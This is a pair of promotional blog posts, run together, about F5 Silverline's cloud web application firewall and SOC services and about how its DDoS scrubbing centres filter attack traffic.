In a previous article, Jason Rahm did a great job of outlining why you need F5’s Silverline services. The threat is global, and it’s time to reposition your defenses to meet the enemy where they are. Many companies can’t afford the cost of hiring a specialized team of security experts to protect their very important business applications…but neither can they afford to let those applications fall prey to an attack. We see attacks at all networking layers today, so it’s vitally important to have proper network defenses deployed at each layer. A Web Application Firewall (WAF) is a critical part of this network defense because it can uniquely defend against attacks that other devices can’t. F5 Silverline WAF is a cloud-based service built on the BIG-IP Application Security Manager (ASM) with 24x7x365 support from highly specialized security experts to help organizations protect web applications and data, and enable compliance with industry security standards (i.e. PCI DSS). With companies moving applications to the cloud, it becomes extremely important to have a cloud-based service like Silverline to handle your WAF functionality. F5 Silverline WAF protects web applications no matter where they reside with consistent policies and compliance across hybrid environments. The diagram below shows an architecture view of where the F5 Silverline WAF could be deployed to protect your cloud-based applications. You’ll notice from the diagram that the Silverline WAF allows for easy integration with VA/DAST Scanning tools and it also easily integrates with BIG-IP ASM to provide hybrid WAF services while providing access to F5’s wide array of robust APIs. One of the great benefits of F5 Silverline is that is gives you access to the F5 Security Operations Center (SOC). The SOC is a state-of-the-art security center with all the latest and greatest network defense tools you can imagine. But more than having a bunch of really cool and expensive tools, the SOC’s greatest asset is the team of F5 security experts who proactively monitor and fine-tune policies to protect web applications and data from new and emerging threats. Remember how you didn’t have the resources to staff a fully-functional network security team? Well, now you do…it’s called the F5 SOC! Our SOC experts will help you with things like security policy setup, policy fine-tuning, proactive alert monitoring, false positives tuning, detection tuning, and Whitelist / Blacklist setup and monitoring. Another great benefit of F5’s Silverline services is the F5 customer portal. This online portal allows you to securely communicate with Silverline SOC experts and view centralized attack and threat monitoring reports. The portal allows you to view and take action on things like violation logs/stats, policy audits, policy stats, attack types, WAF policies, and L7 profiles. It also allow you access to F5’s very powerful iRule editor where you can gain programmability control over your security policies and web applications. The portal also allows you to manage your SSL Certificates. The pictures below shows screenshots of the WAF portal where you can see attack types over time as well as by geolocation. Attack Type Over Time Violations By Geolocation F5’s Silverline services also include DDoS attack protection as well as an additional threat intelligence service. Silverline is a very powerful and robust option for protecting web applications in the cloud. Remember, meet your enemies where they are…and they are definitely in the cloud!Scrubbing away DDoS attacks
Bigger and badder than ever DDoS attacks are an IT professionals’ nightmare – they can knock out applications that generate revenue and facilitate communications, or even more fundamentally, take down entire networks. What’s worse, they are becoming increasingly sophisticated, large and frequent as cybercriminals get more aggressive and creative. All businesses must now expect DDoS attacks, rather than consider them remote possibilities, and prepare accordingly. One recent study found that in just one year, a whopping 38% of companies providing online services (such as ecommerce, online media and others) had been on the receiving end of an attack. Such attacks have moved up the network stack over time, climbing from network attacks in the 1990s to session attacks and application layer attacks today. Now, application attacks at layer 7 represent approximately half of all attacks. We’re also seeing attacks go even further, into business logic, which often exists as a layer above the OSI model. Protecting your business So how do we protect our content and applications and keep them running in the face of attacks? With attack traffic reaching new heights (the record set in 2014 was 500Gbps), few organizations have sufficient bandwidth to hold up to such magnitudes. Increasingly, businesses are having to turn to scrubbing services to handle such volumetric attacks. You can think of a scrubbing service as a first line of defense against DDoS attacks. Such services process your incoming traffic and detect, identify and mitigate threats in real time. The clean traffic is then returned to your site, keeping any attacks from reaching your network and enabling your businesses to stay online and available. Your users are left blissfully unaware. How scrubbing works For more detail, let’s take a look at how this process works at the new F5 scrubbing center here in Singapore, which is a key piece of our Silverline DDoS Protection hybrid solution. Part of F5’s fully redundant and globally distributedglobal security operation center (SOC), the facility is built with advanced systems and tools engineered to deal with the increasing threats, escalating scale and complexity of DDoS attacks. F5 determines the best scrubbing routes for each segment of traffic and automatically directs traffic through the cloud scrubbing centers for real-time mitigation. As traffic enters a scrubbing center, it is triaged based on a various traffic characteristics and possible attack methodologies. Traffic continues to be checked as it traverses the scrubbing center to confirm the malicious traffic has been fully removed. Clean traffic is then returned through your website with little to no impact to the end user. Silverline DDoS Protection provides attack mitigation bandwidth capacity of over 2.0 Tbps and scrubbing capacity of over 1.0 Tbps to protect your business from even the largest DDoS attacks. It can run continuously to monitor all traffic and stop attacks from ever reaching your network, or it can be initiated on demand when your site is under DDoS attack.
